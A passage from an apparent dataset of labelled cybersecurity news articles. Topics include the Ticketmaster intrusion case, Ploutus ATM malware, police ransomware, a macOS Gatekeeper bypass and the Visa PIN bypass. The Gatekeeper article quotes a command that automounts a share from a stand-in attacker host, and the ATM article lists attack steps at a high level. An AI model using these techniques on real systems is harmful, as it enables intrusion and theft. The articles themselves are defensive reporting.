The allegations were first reported in 2017 after CrowdSurge sued Live Nation for antitrust violations, accusing Ticketmaster of accessing confidential business plans, contracts, client lists, and credentials of CrowdSurge tools.
According to court documents released on December 30, after being hired by Live Nation in 2013, Stephen Mead, who was CrowdSurge's general manager of U.S. operations, shared with Zeeshan Zaidi, the former head of Ticketmaster's artist services division, and another Ticketmaster employee the passwords to Artist Toolbox, an app that provided real-time data about tickets sold through the victim company.
Besides password theft, Mead is also accused of providing "internal and confidential financial documents" retained from his former employer, as well as URLs for draft ticketing web pages so as to learn which artists planned to use CrowdSurge to sell tickets and "dissuade" them from doing so.
On October 18, 2019, Zaidi pled guilty in a related case to conspiring to commit computer intrusions and wire fraud for his participation in the scheme, stating, "we're not supposed to tip anyone off that we have this view into [the victim company's] activities."
An unnamed Ticketmaster executive said in an internal email the goal was to "choke off" and "steal" its signature clients by winning back the presale ticketing business for a second major artist that was a client of CrowdSurge.
Both Mead and Zaidi are no longer employed by Ticketmaster.
"Ticketmaster terminated both Zaidi and Mead in 2017, after their conduct came to light. Their actions violated our corporate policies and were inconsistent with our values. We are pleased that this matter is now resolved," a company spokesperson told The Hacker News.
Ticketmaster previously settled a lawsuit brought by Songkick in 2018 by agreeing to pay the company's owners $110 million and acquire its remaining intellectual property not sold to WMG for an undisclosed amount.
Besides paying the $10 million penalties, Ticketmaster is expected to maintain a compliance and ethics program to detect and prevent such unauthorized acquisition of confidential information belonging to its rivals.
The company will also be required to make an annual report to the U.S. Attorney's Office over the next three years to ensure compliance.
| Malware |
CASH! CASH! Hacking ATM Machines with Just a Text Message | https://thehackernews.com/2014/03/hacking-atm-machines-for-cash-with-just.html | As we reported earlier, Microsoft will stop supporting the Windows XP operating system after 8th April, apparently 95% of the world's 3 million ATM machines are run on it. Microsoft's decision to withdraw support for Windows XP poses critical security threat to the economic infrastructure worldwide.
MORE REASONS TO UPGRADE
Security researchers at Antivirus firm Symantec claimed that hackers can exploit a weakness in Windows XP based ATMs, that allow them to withdraw cash simply by sending an SMS to compromised ATMs.
"What was interesting about this variant of Ploutus was that it allowed cybercriminals to simply send an SMS to the compromised ATM, then walk up and collect the dispensed cash. It may seem incredible, but this technique is being used in a number of places across the world at this time." researchers said.
HARDWIRED Malware for ATMs
According to researchers - In 2013, they detected a malware named Backdoor.Ploutus, installed on ATMs in Mexico, which is designed to rob a certain type of standalone ATM with just the text messages.
To install the malware into ATMs machines, hacker must connect the ATM to a mobile phone via USB tethering and then to initiate a shared Internet connection, which then can be used to send specific SMS commands to the phone attached or hardwired inside the ATM.
"Since the phone is connected to the ATM through the USB port, the phone also draws power from the connection, which charges the phone battery. As a result, the phone will remain powered up indefinitely."
HOW-TO HACK ATMs
Connect a mobile phone to the machine with a USB cable and install Ploutus Malware.
The attacker sends two SMS messages to the mobile phone inside the ATM.
SMS 1 contains a valid activation ID to activate the malware
SMS 2 contains a valid dispense command to get the money out
Mobile attached inside the ATM detects valid incoming SMS messages and forwards them to the ATM as a TCP or UDP packet.
Network packet monitor (NPM) module coded in the malware receives the TCP/UDP packet and if it contains a valid command, it will execute Ploutus
Amount for Cash withdrawal is pre-configured inside the malware
Finally, the hacker can collect cash from the hacked ATM machine.
Researchers have detected few more advanced variants of this malware, some attempts to steal customer card and PIN data, while others attempt man-in-the-middle attacks.
This malware is now spreading to other countries, so you are recommended to pay extra attention and remain cautious while using an ATM.
| Malware |
Police Ransomware Malware Targeting Android Smartphones | https://thehackernews.com/2014/05/police-ransomware-malware-targeting.html | After hacking PCs, Cyber criminals have now begun targeting Smartphones with a special piece of malicious software that locks up the devices until the victims pay a ransom to get the keys to unlock the phone, called Ransomware.
Ransomware typically targets users' personal computers and has become a profitable way for cyber criminals to earn money.
To deliver the Ransomware malwares to the mobile devices, cyber criminals have started creating malicious software programs that masquerade as antivirus apps or other play store apps, but instead of protecting your smart devices, they lock up your Smartphone until you pay a ransom to unlock it.
RANSOMWARE - POLICE & CRYPTOLOCKER
As we reported earlier in news updates, security researchers disclosed various Police ransomware targeting users' personal computers. The ransomware software once installed, cyber criminals attempts to lock the victim's computer hard disk and files from a remote location.
Usually, the police ransomware masquerade as an official warning from a law enforcement agency, which claims that the victim's PC has been determined to have visited illegal websites and payment is necessary for a fine to restore the computer's functionality.
Cryptolocker is another infamous member of Ransomware family, designed to extort money from computer users by holding computer files hostage until the computer user pays a ransom fee to get them back. The Cryptolocker hijacker sniffs out your personal files and wraps them with strong encryption before it demands money.
Cryptolocker Ransomware is just like any other computer infection, but it can be potentially worse since it can cause permanent damage, such as deleted files and files that become encrypted forever and the infected users are in danger of losing their personal files forever.
POLICE RANSOMWARE TARGETING SMARTPHONES
Similar threat has come to Smartphone devices as well and Android users might soon become the victims of "Police Locker" ransomware malware. According to recent report from the researcher behind the Malware don't need Coffee blog, Cyber Criminals behind the Reveton ransomware have joined Nertra Ransomware team to target Android users, along with Windows, Mac OS X and Linux.
To Deliver the ransomware malware hackers are using various social engineering techniques, include lockers system, fake Antivirus solution, fake audio-video codecs and Browlock ransomware.
According to the researcher, The booby-trapped (malicious) websites are so cleverly crafted in such a way:
If victim visits it using Internet Explorer browser, a variant of ransomware Winlock will be offered.
If victim surf it with any other browser on Windows, Linux or Mac, they will offer Brownlock malware
If victim visits the site with Android browser, he will be redirected to a fake website that will automatically download a malicious application (APK file ) from the browser, disguised as a video downloader.
Like other popular ransomware threats, such as FBI MoneyPak Ransomware, Ukash Virus and Police Central E-Crime Unit (PCEU) Ransomware, Android version also displays a message to threaten the user with arrest or prosecution because child pornography or other objectionable material has been found on the device. Scared or frustrated users are often willing to pay hundreds of dollars to avoid the fine or to free their system again.
We also came across a report in which a man killed his 4 year old baby and then himself committed suicide after his computer got infected with "police ransomware," which is an extent of Ransomware that has marked its history by someone's blood.
If You are already infected by any one of such malwares, stop your keyboard and don't pay the fine. Install updated Antivirus software to get rid of the ransomware virus.
Android users are always advised to treat unrecognized applications or applications from third-party sources with extreme caution and try to always download applications from trusted App Stores.
| Malware |
NMAP Script to Check Presence of ms12-020 RDP vulnerability | https://thehackernews.com/2012/03/nmap-script-to-check-presence-of-ms12.html | NMAP Script to Check Presence of ms12-020 RDP vulnerability
Yesterday Sam Bowne was working on a NMAP script, which will be able to Check Presence of ms12-020 RDP vulnerability on a machine via scan only. But unfortunately, it was less in success rate, Later @ea_foundation joins Sam Bowne to develop a working Nmap script.
Microsoft bulletin ms12-020 patches two vulnerabilities.CVE-2012-0152 which addresses a DoS vulnerability inside Terminal Server,and CVE-2012-0002 which fixes a vulnerability in Remote Desktop Protocol.Both are part of Remote Desktop Services. The hackers worked quickly on this particular vulnerability and we've already seen attempts to exploit the flaw which exists in a part of Windows called the Remote Desktop Protocol.
Script works by checking for a CVE-2012-0152 vulnerability.Patched and unpatched system differ in the results from whichwe can conclude if the service is vulnerable or not.
Download Nmap Script : ms12-020-rev.nse
| Vulnerability |
Hackers are implanting multiple backdoors at industrial targets in Japan | https://thehackernews.com/2021/03/hackers-are-implanting-multiple.html | Cybersecurity researchers on Tuesday disclosed details of a sophisticated campaign that deploys malicious backdoors for the purpose of exfiltrating information from a number of industry sectors located in Japan.
Dubbed "A41APT" by Kaspersky researchers, the findings delve into a new slew of attacks undertaken by APT10 (aka Stone Panda or Cicada) using previously undocumented malware to deliver as many as three payloads such as SodaMaster, P8RAT, and FYAnti.
The long-running intelligence-gathering operation first came into the scene in March 2019, with activities spotted as recently as November 2020, when reports emerged of Japan-linked companies being targeted by the threat actor in over 17 regions worldwide.
The fresh attacks uncovered by Kaspersky are said to have occurred in January 2021. The infection chain leverages a multi-stage attack process, with the initial intrusion happening via abuse of SSL-VPN by exploiting unpatched vulnerabilities or stolen credentials.
Center to the campaign is a malware called Ecipekac ("Cake piece" in reverse, but with a typo) that traverses a four-layer "complicated loading schema" by making use of four files to "load and decrypt four fileless loader modules one after the other to eventually load the final payload in memory."
While the main purpose of P8RAT and SodaMaster is to download and execute payloads retrieved from an attacker-controlled server, Kaspersky's investigation hasn't yielded any clues as to the exact malware delivered on target Windows systems.
Interestingly, the third payload, FYAnti, is a multi-layer loader module in itself that goes through two more successive layers to deploy a final-stage remote access Trojan known as QuasarRAT (or xRAT).
"The operations and implants of the campaign ... are remarkably stealthy, making it difficult to track the threat actor's activities," Kaspersky researcher Suguru Ishimaru said. "The main stealth features are the fileless implants, obfuscation, anti-VM ,and removal of activity tracks."
| Malware |
New Mac Malware Exploits GateKeeper Bypass Bug that Apple Left Unpatched | https://thehackernews.com/2019/06/macos-malware-gatekeeper.html | Cybersecurity researchers from Intego are warning about possible active exploitation of an unpatched security vulnerability in Apple's macOS Gatekeeper security feature details and PoC for which were publicly disclosed late last month.
Intego team last week discovered four samples of new macOS malware on VirusTotal that leverage the GateKeeper bypass vulnerability to execute untrusted code on macOS without displaying users any warning or asking for their explicit permission.
However, the newly discovered malware, dubbed OSX/Linker, has not been seen in the wild as of now and appears to be under development. Though the samples leverage unpatched Gatekeeper bypass flaw, it does not download any malicious app from the attacker's server.
According to Joshua Long from Intego, until last week, the "malware maker was merely conducting some detection testing reconnaissance."
"One of the files was signed with an Apple Developer ID (as explained below), it is evident that the OSX/Linker disk images are the handiwork of the developers of the OSX/Surfbuyer adware," Long said in a blog post.
However, since the malware sample links to a remote server from where it downloads the untrusted app, attackers can also distribute same samples to real targeted by merely replacing the defined sample app with a malware app on their server.
macOS Gatekeeper Bypass Vulnerability
GateKeeper is a security feature built into Apple macOS that enforces code signing and verifies downloaded applications before allowing them to run, helping users protect their systems from malware and other malicious software.
That means, if you download an application from the Internet, GateKeeper will only allow it to execute without any warnings if it has been signed with a valid Apple-issued certificate, otherwise will prompt you to allow or deny the execution.
However, Gatekeeper has been designed to treat both external drives (USB or HDD) and network shares as "safe locations" from where users can run any application without involving GateKeeper's checks and prompts.
Filippo Cavallarin, an independent security researcher, late last month publicly revealed a way to exploit this behavior by combining it with two other legitimate features of macOS operating system, which are:
zip archives can contain symbolic links pointing to an arbitrary location, including automount endpoints, and
automount feature on macOS can automatically mount a network share from a remote server just by accessing it with a "special" path i.e., beginning with "/net/."
"For example, ls /net/evil-attacker.com/sharedfolder/ will make the OS read the content of the 'sharedfolder' on the remote host (evil-attacker.com) using NFS," Cavallarin explained in a blog post.
As shown in the video demonstration, Cavallarin created a ZIP file with a symbolic link to an attacker-controlled network share that macOS will automount.
Once a victim opens the ZIP archive and follows the link, he will navigate to the attacker-controlled network share that's trusted by Gatekeeper, tricking the victim into running malicious executable files without any warning.
"The way Finder is designed (ex hide .app extensions, hide full path from title bar) makes this technique very effective and hard to spot," the researcher says.
However, the newly discovered malware samples are not ZIP files, but disk image files (with .dmg), showing that "malware makers were experimenting to see whether Cavallarin's vulnerability would work with disk images, too."
Cavallarin responsibly reported his findings to Apple on February 22 but decided to go public late last month after the company failed to patch the issue within the 90 days disclosure deadline and started ignoring his emails.
Until Apple patches this issue, researcher advised network administrators to block NFS communications with external IP addresses, and for home users, it is always important to not open email attachments from an unknown, suspicious, or untrustworthy source.
| Malware |
New PIN Verification Bypass Flaw Affects Visa Contactless Payments | https://thehackernews.com/2020/09/emv-payment-card-pin-hacking.html | Even as Visa issued a warning about a new JavaScript web skimmer known as Baka, cybersecurity researchers have uncovered an authentication flaw in the company's EMV enabled payment cards that permits cybercriminals to obtain funds and defraud cardholders as well as merchants illicitly.
The research, published by a group of academics from the ETH Zurich, is a PIN bypass attack that allows the adversaries to leverage a victim's stolen or lost credit card for making high-value purchases without knowledge of the card's PIN, and even trick a point of sale (PoS) terminal into accepting an unauthentic offline card transaction.
All modern contactless cards that make use of the Visa protocol, including Visa Credit, Visa Debit, Visa Electron, and V Pay cards, are affected by the security flaw, but the researchers posited it could apply to EMV protocols implemented by Discover and UnionPay as well. The loophole, however, doesn't impact Mastercard, American Express, and JCB.
The findings will be presented at the 42nd IEEE Symposium on Security and Privacy to be held in San Francisco next May.
Modifying Card Transaction Qualifiers Via MitM Attack
EMV (short for Europay, Mastercard, and Visa), the widely used international protocol standard for smartcard payment, necessitates that larger amounts can only be debited from credit cards with a PIN code.
But the setup devised by ETH researchers exploits a critical flaw in the protocol to mount a man-in-the-middle (MitM) attack via an Android app that "instructs the terminal that PIN verification is not required because the cardholder verification was performed on the consumer's device."
The issue stems from the fact the Cardholder verification method (CVM), which is used to verify whether an individual attempting a transaction with a credit or debit card is the legitimate cardholder, is not cryptographically protected from modification.
As a result, the Card Transaction Qualifiers (CTQ) used to determine what CVM check, if any, is required for the transaction can be modified to inform the PoS terminal to override the PIN verification and that the verification was carried out using the cardholder's device such as a smartwatch or smartphone (called Consumer Device Cardholder Verification Method or CDCVM).
Exploiting Offline Transactions Without Being Charged
Furthermore, the researchers uncovered a second vulnerability, which involves offline contactless transactions carried out by either a Visa or an old Mastercard card, allowing the attacker to alter a specific piece of data called "Application Cryptogram" (AC) before it is delivered to the terminal.
Offline cards are typically used to directly pay for goods and services from a cardholder's bank account without requiring a PIN number. But since these transactions are not connected to an online system, there is a delay of 24 to 72 hours before the bank confirms the transaction's legitimacy using the cryptogram, and the amount of the purchase is debited from the account.
A criminal can leverage this delayed processing mechanism to use their card to complete a low-value and offline transaction without being charged, in addition to making away with purchases by the time the issuing bank declines the transaction due to the wrong cryptogram.
"This constitutes a 'free lunch' attack in that the criminal can purchase low-value goods or services without actually being charged at all," the researchers said, adding the low-value nature of these transactions is unlikely to be an "attractive business model for criminals."
Mitigating PIN bypass and offline attacks
Aside from notifying Visa of the flaws, the researchers have also proposed three software fixes to the protocol to prevent PIN bypass and offline attacks, including using Dynamic Data Authentication (DDA) to secure high-value online transactions and requiring the use of online cryptogram in all PoS terminals, which causes offline transactions to be processed online.
"Our attack show[ed] that the PIN is useless for Visa contactless transactions [and] revealed surprising differences between the security of the contactless payment protocols of Mastercard and Visa, showing that Mastercard is more secure than Visa," the researchers concluded. "These flaws violate fundamental security properties such as authentication and other guarantees about accepted transactions."
| Cyber_Attack |
ESET NOD32 releases Antivirus for Linux 4 ! | https://thehackernews.com/2011/04/eset-nod32-releases-antivirus-for-linux.html | ESET NOD32 releases Antivirus for Linux 4 !
ESET announced the availability of ESET NOD32 Antivirus 4 Business Edition for Linux Desktop and ESET NOD32 Antivirus 4 for Linux.
ESET NOD32 Antivirus 4 for Linux offers protection against cross-platform and emerging threats, enhancing the security of Linux platforms. The scanning engine automatically detects and cleans malicious code, including threats designed for Windows and Mac based systems.
ESET NOD32 Antivirus 4 Business Edition for Linux Desktop includes ESET Remote Administrator, which provides IT administrators with a management console to control an entire network from a single screen — supporting tens or thousands of heterogeneous computers.
Key benefits and features:
Detection and proactive cross-platform protection – Advanced heuristics technology delivers real-time, proactive protection from malware, hacker attacks and exploits. Product protects against Linux, Windows and Mac malware
Small system footprint – The unique build of ESET NOD32 Antivirus 4 for Linux has been optimized to perfectly match the system environment. ESET engineered a smart solution with one of the lowest system footprints on the market ensuring fast startup and smooth performance
Graphical user interface – Optional graphical user interface which delivers intuitive access to features includes full screen mode, informative graphs, statistics and scheduler
Security settings control – Defines which user accounts have the capability to change settings, so unauthorized users cannot disable or lessen protection
Streamlined management – Easy management and oversight of network security across all platforms, allowing for push tasks, updates and security policies to be applied from a single console (Business Edition only)
Removable media access control – Scans or blocks usage of USB, FireWire, CD/DVD devices to minimize risk of infection or data loss.
| Malware |
Lenovo Admits and Released an Automatic Superfish Removal Tool | https://thehackernews.com/2015/02/superfish-malware-removing-tool.html | The computer giant Lenovo has released a tool to remove the dangerous "SuperFish" adware program that the company had pre-installed onto many of its consumer-grade Lenovo laptops sold before January 2015.
The Superfish removal tool comes few days after the story broke about the nasty Superfish malware that has capability to sneakily intercept and decrypt HTTPS connections, tamper with pages in an attempt to inject advertisements.
WE JUST FOUND 'SUPERFISH' - LENOVO
The Chinese PC maker attempted to push the perception that Superfish software was not a security concern and avoid the bad news with the claim that it had "stopped Superfish software at beginning in January".
However, Lenovo has now admitted that it was caught preloading a piece of adware that installed its own self-signing Man-in-the-Middle (MitM) proxy service that hijacked HTTPS connections.
"We did not know about this potential security vulnerability until yesterday," Lenovo said in a statement released on Saturday. "We recognize that this was our miss, and we will do better in the future. Now we are focused on fixing it."
'SUPERFISH' WENT BAD TO WORSE
The Superfish malware went bad to worse when Errata Security's Robert David Graham cracked and published the password that would allow anyone to unlock the certificate authority and bypass the computer's web encryption. The password with the right software could allow a hacker to insert malware or potentially spy on a vulnerable Lenovo user sharing the same Wi-Fi network.
United States Computer Emergency Readiness Team (US-CERT) also warned Friday that Superfish malware could be exploited to "allow a remote attacker to read all encrypted web browser traffic (HTTPS), successfully impersonate (spoof) any website, or perform other attacks on the affected system."
AUTOMATICALLY REMOVE 'SUPERFISH' COMPLETELY
Lenovo joined hands with Microsoft and McAfee, and created a custom uninstall tool to clean your computer of the Superfish malware program and its CA certificates, and in a responsibly transparent move, also posted the source code and license of the removal tool for scrutiny.
"We apologize for causing these concerns among our users - we are learning from this experience and will use it to improve what we do and how we do it in the future," the company said.
The company has released an "automated tool", which the PC maker says will "ensure complete removal of Superfish and Certificates for all major browsers."
If in case users don't prefer to use the automated tool, the company has also provided a step-by-step process for how to remove SuperFish manually.
CHECK FOR 'SUPERFISH' MALWARE NOW
SuperFish is an adware that tampers with your computer's encryption certificates, which seemingly leaves your otherwise "encrypted" communications insecure whenever you are on a shared WiFi connection (like at a coffee shop). It can silently intercept and decrypt HTTPS connections, tamper with pages and inject advertisements.
Superfish is present on Lenovo laptops sold between September 2014 and January 2015, although the company says no Thinkpads were shipped with the Superfish malware. Still, you can check your Lenovo computers for this nasty software with the help of a test created by researcher Filippo Valsorda.
| Malware |
How Just Opening A Site In Safari Could Have Hacked Your Apple macOS | https://thehackernews.com/2018/11/apple-macos-zeroday.html | Earlier this week Dropbox team unveiled details of three critical vulnerabilities in Apple macOS operating system, which altogether could allow a remote attacker to execute malicious code on a targeted Mac computer just by convincing a victim into visiting a malicious web page.
The reported vulnerabilities were originally discovered by Syndis, a cybersecurity firm hired by Dropbox to conduct simulated penetration testing attacks as Red Team on the company's IT infrastructure, including Apple software used by Dropbox.
The vulnerabilities were discovered and disclosed to Apple security team in February this year, which were then patched by Apple just over one month later with the release of its March security updates. DropBox applauded Apple for its quick response to its bug report.
According to DropBox, the vulnerabilities discovered by Syndis didn't just affect its macOS fleet, but also affected all Safari users running the latest version of the web browser and operating system at the time.
Here's the list of the three reported (then-zero-day) vulnerabilities:
The first flaw (CVE-2017-13890) that resided in CoreTypes component of macOS allowed Safari web browser to automatically download and mount a disk image on visitors' system through a maliciously crafted web page.
The second flaw (CVE-2018-4176) resided in the way Disk Images handled .bundle files, which are applications packaged as directories. Exploiting the flaw could have allowed an attacker to launch a malicious application from mounted disk using a bootable volume utility called bless and its --openfolder argument.
The third vulnerability (CVE-2018-4175) involved a bypass of macOS Gatekeeper anti-malware, allowing a maliciously crafted application to bypass code signing enforcement and execute a modified version of Terminal app leading to arbitrary commands execution.
As shown in the proof-of-concept video demonstration, the researchers were able to create a two-stage attack by chaining together all the three vulnerabilities to take control of a Mac computer just by convincing a victim into visiting a malicious web page with Safari.
"The first stage includes a modified version of the Terminal app, which is registered as a handler for a new file extension (.workingpoc). In addition, it would contain a blank folder called "test.bundle" which would be set as the default "openfolder" which automatically would open /Applications/Terminal.app without prompt," DropBox says in its blog post.
"The second stage includes an unsigned shellscript with the extension ".workingpoc" which is then executed within the running Terminal application without prompt."
Apple released security updates on March 29 that included the security fixes for the three vulnerabilities. So, you just need to make sure that you install all monthly security updates regularly in order to protect your systems against any threat.
| Vulnerability |
Police Ransomware threat of huge Fine forced Family to Commit Suicide | https://thehackernews.com/2014/03/police-ransomware-threat-of-huge-fine.html | Till Now we all have heard about the Ransomware Malware that encrypts your files or lock down your computer and ask for a random amount to be paid in a specified duration of time to unlock it, but this cyber threat has forced somebody for the terrible murder and suicide. It's true! This could be an extent of Ransomware that has marked its history by someone's blood.
Marcel Datcu, a 36 year old man, living in the village of Movila Miresii, who was married in 2013 and living happily with his family, killed his 4 year old baby and then himself committed suicide after his computer got infected with "police ransomware," a Romanian Newspaper, Braila24 reports.
Ransomware is one of the most blatant and obvious criminal's money making schemes out there, from which Cryptolocker threat had touched the peak, and cyber criminals have developed many Cryptolocker versions (prisonlocker, linkup, icepole, cryptobit) by which you have to safeguard your system.
According to the sources, it seems that Marcel had opened few porn sites and infected with a computer virus, i.e., a police ransomware, that displayed a message coming from the Police, informing that he has been fined by the authorities for the violation of the law with a huge amount of 70.000 lei (€15,519 / $21,637) that need to be paid immediately.
After getting such warning from the police, he felt shamed and scared that his young son would pay for his mistake and his life would be spend in the moment of delusion, so he hanged himself in the living room, holding his 4-year-old boy in his arms with a rope around his neck.
His neighbors said that besides the boy who was killed by his father, Marcel and his wife had three other children from previous marriages, and was a happy family.
Sources close to the investigation say that the man left the following suicide note to his wife: "I don't think it's normal what I've done (…) I apologize to all of you (…) I received a warning that said I have to pay 70.000 lei or go to prison for 11 years (…) I don't want Nicusor [the small boy who was killed] to suffer because of me (…) I can't stand going to prison. I can't!"
As far as we all know, a Police ransomware usually asks a victim to pay a small fine that last around $200 or €200. The man would have been died imagining that such a large fined amount is very difficult to pay.
Cyber security experts always advises you not to pay the ransom amount that blocks your activities on the computer, as these threats can be easily removed by dedicated tools specially designed to remove such infections.
But, unfortunately everybody is not aware of such threats and this time the price paid was somebody's life. There are many ways you can protect your computers and devices from the widely spreading Ransomware discussed in our previous post.
Stay Safe! Stay Tuned!
| Malware |
winAUTOPWN v3.0 Released - System vulnerability exploitation Framework | https://thehackernews.com/2012/04/winautopwn-v30-released-system.html | winAUTOPWN v3.0 Released - System vulnerability exploitation Framework
The improved GUI extension - WINAUTOPWN ACTIVE SYSTEMS TRANSGRESSOR GUI [ C4 - WAST ] is a Systems and Network Exploitation Framework built on the famous winAUTOPWN as a backend. C4 - WAST gives users the freedom to select individual exploits and use them.
BSDAUTOPWN has been compiled, like always for various flavours and has been upgraded to version 1.8 alongwith all applicable exploits which have been added in this release. Included this time is the bsd_install.sh, which will set chmod on all applicable BSD compiled binaries.
WINAUTOPWN requires PERL,PHP,PYTHON,RUBY and its dependencies alongwith a few others' too for smooth working of exploits included in it.
winAUTOPWN and bsdAUTOPWN are available at https://winautopwn.co.nr
| Vulnerability |
Israeli Defense computer hacked in Spear Phishing Attack | https://thehackernews.com/2014/01/israeli-defense-computer-hacked-in.html | Hackers broke into an Israeli defense ministry computer via an email attachment tainted with malicious software.
Reuters reported Israeli Defense is the latest illustrious victim of the Spear Phishing Attack, and hackers penetrated into an Israeli defense ministry computer using a malicious email as a vector.
Aviv Raff, Chief Technology officer at Seculert, confirmed that an Email with a malicious attachment that looked like it had been sent by the country's Shin Bet Secret Security Service. The attackers have penetrated into the network of Israeli Defense accessing to 15 computers, one of them managed by the Israel's Civil Administration that monitors Palestinians in Israeli-occupied territory.
The Civil Administration is a unit of Israel's Defense Ministry that control the passage of goods between Israel and the West Bank and Gaza Strip. It is clear that the information contained in the infected system represents a precious target for someone that intend to examine what and who is authorized to pass through the territories contested by Israelis and Palestinians.
The office also manages entry permits to Palestinians who work in Israel, and this could be another motivation for the attack. The earliest evidence confirmed the attack was conducted by Palestinians hackers, because there are many similarities with a precedent attack against Israeli systems conduced more than a year ago from a server in the Hamas-ruled Gaza Strip.
Aviv Raff revealed that the 15 computers were controlled by the hackers for several days after the January 15, when the malicious email was sent with an attachment about ex-Israeli prime minister Ariel Sharon who had just died.
The message text anticipates the content of the attached .zip file that claims to contain reports and photos of the attack. According Trend Micro firm the initial target of that attack was the Israeli Customs agency. In fact the file attached to the email hides a known malware, the XtremeRat trojan, which was largely used in surveillance campaigns by many regimes such as Syrian government.
Guy Inbar, a spokesman for the Civil Administration said:
"We are not commenting on it, we don't respond to such reports,"
Let me add, These is not a sufficient proof, but we all know that how much complicated is the attribution for an attack in the cyberspace, and many political actors could be interested to fuel the crisis between the two populations.
Anyway security experts recognized the same hand behind the latest attack originated from a server in the US, the tactics adopted by hackers is identical and there are many similarities in the code used.
According to Securlet, the attackers have used "Xtreme RAT" for a cyber espionage campaign against Israeli institutions and law enforcement in Novemeber 2012, forcing the government to shut down Internet access for its police. This cause prohibiting the use of memory sticks and mobile storage to avoid the diffusion of the malicious agent.
If the news is confirmed, it is very concerning. Let's consider that the attack discovered could be just an initial part of a large operation targeting sub-contractors to hit Israel, because it is very common that hackers target subcontractors to hit big enterprises and government offices due to the poor level of security they often offer.
Securlert hasn't discovered what the hackers did after accessing to the system, it is not clear if the attackers have stolen some document or they have tried to manipulate some data.
"All we know is at least one computer at the Civil Administration was in control of the attackers; what they did we don't know." said Raff said.
The incident is just the tip of the iceberg, has confirmed by media hacking activity in the Middle East is very intense, foreign governments and group of hacktivists like Anonymous have targeted the military, government offices, private companies and critical infrastructure.
| Cyber_Attack |
UK Regulator Fines Equifax £500,000 Over 2017 Data Breach | https://thehackernews.com/2018/09/equifax-credit-reporting-breach.html | Atlanta-based consumer credit reporting agency Equifax has been issued a £500,000 fine by the UK's privacy watchdog for its last year's massive data breach that exposed personal and financial data of hundreds of millions of its customers.
Yes, £500,000—that's the maximum fine allowed by the UK's Data Protection Act 1998, though the penalty is apparently a small figure for a $16 billion company.
In July this year, the UK's data protection watchdog issued the maximum allowed fine of £500,000 on Facebook over the Cambridge Analytica scandal, saying the social media giant Facebook failed to prevent its citizens' data from falling into the wrong hands.
Flashback: The Equifax Data Breach 2017
Equifax suffered a massive data breach last year between mid-May and the end of July, exposing highly sensitive data of as many as 145 million people globally.
The stolen information included victims' names, dates of birth, phone numbers, driver's license details, addresses, and social security numbers, along with credit card information and personally identifying information (PII) for hundreds of thousands of its consumers.
The data breach occurred because the company failed to patch a critical Apache Struts 2 vulnerability (CVE-2017-5638) on time, for which patches were already issued by the respected companies.
Why U.K. Has Fined a US Company?
The UK's Information Commissioner's Office (ICO), who launched a joint investigation into the breach with the Financial Conduct Authority, has now issued its largest possible monetary penalty under the country's Data Protection Act for the massive data breach—£500,000, which equals to around $665,000.
The ICO said that although the cyber attack compromised Equifax systems in the United States, the company "failed to take appropriate steps" to protect the personal information of its 15 million UK customers.
The ICO investigation revealed "multiple failures" at the company like keeping users' personal information longer than necessary, which resulted in:
19,993 UK customers had their names, dates of birth, telephone numbers and driving license numbers exposed.
637,430 UK customers had their names, dates of birth and telephone numbers exposed.
Up to 15 million UK customers had names and dates of birth exposed.
Some 27,000 Britishers also had their Equifax account email addresses swiped.
15,000 UK customers also had their names, dates of birth, addresses, account usernames and plaintext passwords, account recovery secret questions, and answers, obscured credit card numbers, and spending amounts stolen by hackers.
Breach Was Result of Multiple Failures at Equifax
The ICO said that Equifax had also been warned about a critical Apache Struts 2 vulnerability in its systems by the United States Department of Homeland Security (DHS) in March 2017, but the company did not take appropriate steps to fix the issue.
Initially, it was also reported that the company kept news of the breach hidden for a month after its internal discovery, giving three senior executives at Equifax time to sell almost $2 million worth of its shares, though the company denied such claims.
Since the data breach happened before the EU's General Data Protection Regulation (GDPR) took effect in May 2018, the maximum fine of £500,000 imposed under the UK's old Data Protection Act 1998 is still lesser.
The penalty could have been much larger had it fallen under GDPR, wherein a company could face a maximum fine of 20 million euros or 4 percent of its annual global revenue, whichever is higher, for such a privacy breach.
In response to the ICO's penalty, Equifax said that the company has fully cooperated with the ICO throughout the investigation that it is "disappointed in the findings and the penalty."
Equifax received the Monetary Penalty Notice from the ICO on Wednesday and can appeal the penalty.
| Data_Breaches |
Built-in Keylogger Found in MantisTek GK2 Keyboards—Sends Data to China | https://thehackernews.com/2017/11/mantistek-keyboard-keylogger.html | "The right keyboard can make all the difference between a victory and a defeat in a video game battlefield."
If you are a gamer, you can relate to the above quote.
But what if your winning weapon betrays you?
The popular 104-key Mantistek GK2 Mechanical Gaming Keyboard that costs around €49.66 has allegedly been caught silently recording everything you type on your keyboard and sending them to a server maintained by the Alibaba Group.
This built-in keylogger in Mantistek GK2 Mechanical Gaming Keyboard was noticed by a few owners who headed on to an online forum to share this issue.
According to Tom's Hardware, MantisTek keyboards utilise 'Cloud Driver' software, maybe for collecting analytic information, but has been caught sending sensitive information to servers tied to Alibaba.
After analysing more closely, Tom's Hardware team found that Mantistek keyboard does not include a full-fledged keylogger. Instead, it captures how many times a key has been pressed and sending this data back to online servers.
The affected users also provided a screenshot showing how all your plain-text keystrokes collected by the keyboard are being uploaded to a Chinese server located at IP address: 47.90.52.88.
However, even if there's no malicious intent, capturing and uploading keystroke counts without users' consent violates trust and puts systems' security at risk by leaking sensitive information.
Since Alibaba Group also sells cloud services like Google and Amazon, this collected information is not necessarily being sent to the Alibaba itself, but someone who is using its cloud service.
Opening the IP address in question directly into a web browser and on a Chinese login page, which translates to "Cloud mouse platform background management system" and is maintained by Shenzhen Cytec Technology Co., Ltd.
Reportedly, the MantisTek keyboard's software sends the collected data to two destinations at that IP address:
/cms/json/putkeyusedata.php
/cms/json/putuserevent.php
The best way to prevent your keyboard from sending your keystrokes to the Alibaba server is to stop using your Mantistek GK2 Mechanical Gaming Keyboard until you hear back from the company about this issue.
If you cannot prevent yourself from using the keyboard, but want to stop it from sending your key presses to the Alibaba server, just make sure the MantisTek Cloud Driver software is not running in the background, and block the CMS.exe executable in your firewall.
To block the CMS.exe executable, add a new firewall rule for the MantisTek Cloud Driver in the "Windows Defender Firewall With Advanced Security."
| Malware |
Two Romanians Charged With Hacking Police CCTV Cameras Before Trump Inauguration | https://thehackernews.com/2017/12/police-camera-hacking.html | Remember how some cybercriminals shut down most of Washington D.C. police's security cameras for four days ahead of President Donald Trump's inauguration earlier this year?
Just a few days after the incident, British authorities arrested two people in the United Kingdom, identified as a British man and a Swedish woman, both 50-year-old, on request of U.S. officials.
